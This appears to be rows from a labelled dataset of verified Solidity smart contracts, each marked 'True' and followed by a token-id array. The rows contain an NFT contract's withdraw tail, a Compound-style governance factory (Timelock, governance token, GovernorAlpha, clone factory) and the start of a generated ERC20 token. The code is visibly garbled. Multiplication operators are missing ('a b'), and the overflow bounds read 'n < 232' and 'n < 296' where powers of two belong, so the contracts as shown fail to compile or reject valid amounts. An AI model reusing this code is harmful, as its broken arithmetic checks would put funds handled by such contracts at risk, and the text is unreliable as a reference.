_state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2324, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 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/** Submitted for verification at Etherscan.io on 2021-06-15 / pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/[email protected]`. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /// @notice Based on Compound Governance. contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; /// @notice Internally tracks clone deployment under eip-1167 proxy pattern bool private initialized; mapping (bytes32 => bool) public queuedTransactions; function init(address _admin, uint _delay) external { require(!initialized, "initialized"); require(_delay >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(_delay <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = _admin; delay = _delay; initialized = true; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } /// @notice Based on Compound Governance. contract GovernanceToken { /// @notice EIP-20 token name for this token string public name; /// @notice EIP-20 token symbol for this token string public symbol; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /* * @notice Construct a new Comp token * @param account The initial account to grant all the tokens / constructor(address account, string memory _name, string memory _symbol, uint _totalSupply) public { balances[account] = uint96(_totalSupply); name = _name; symbol = _symbol; totalSupply = _totalSupply; emit Transfer(address(0), account, _totalSupply); } /* * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved / function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /* * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded / function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /* * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held / function balanceOf(address account) external view returns (uint) { return balances[account]; } /* * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /* * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded / function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to / function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /* * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair / function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /* * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` / function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /* * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block / function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 232, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 296, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } /// @notice Based on Compound Governance. contract GovernorAlpha { /// @notice The name of this contract string public name; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The address of the Governance Timelock TimelockInterface public timelock; /// @notice The address of the Governance token CompInterface public token; /// @notice The address of the Governance Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; /// @notice Internally tracks clone deployment under eip-1167 proxy pattern bool private initialized; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); function init(address _timelock, address _token, address _guardian, string calldata _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) external { require(!initialized, "initialized"); timelock = TimelockInterface(_timelock); token = CompInterface(_token); guardian = _guardian; name = _name; quorumVotes = _quorumVotes; proposalThreshold = _proposalThreshold; votingPeriod = _votingPeriod; initialized = true; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(token.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian \|\| token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes \|\| proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = token.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); } / The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address payable result) { // adapted for 'payable' clones bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } contract GovernanceFactory is CloneFactory { address public timeLockTemplate; address public governorAlphaTemplate; event DeployGovernance(address indexed token, address indexed timelock, address indexed governor); constructor(address _timeLockTemplate, address _governorAlphaTemplate) public { timeLockTemplate = _timeLockTemplate; governorAlphaTemplate = _governorAlphaTemplate; } function deployGovernance(address admin, string calldata _name, string calldata _symbol, uint _totalSupply, uint timeLockDelay, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) external { /// @dev Initialize governance token. GovernanceToken token = new GovernanceToken(admin, _name, _symbol, _totalSupply); /// @dev Initialize timelock clone. address timelock = initTimeLock(admin, timeLockDelay); /// @dev Initialize governor clone. address governor = initGovernor(timelock, address(token), admin, _name, _quorumVotes, _proposalThreshold, _votingPeriod); emit DeployGovernance(address(token), timelock, governor); } function initTimeLock(address admin, uint timeLockDelay) private returns (address payable timelock) { timelock = address(createClone(timeLockTemplate)); Timelock(timelock).init(admin, timeLockDelay); } function initGovernor(address timelock, address token, address admin, string memory _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) private returns (address governor) { governor = address(GovernorAlpha(createClone(governorAlphaTemplate))); GovernorAlpha(governor).init(timelock, token, admin, _name, _quorumVotes, _proposalThreshold, _votingPeriod); } }	True	[ 101, 1013, 1008, 1008, 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/** Submitted for verification at Etherscan.io on 2021-06-06 / // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you 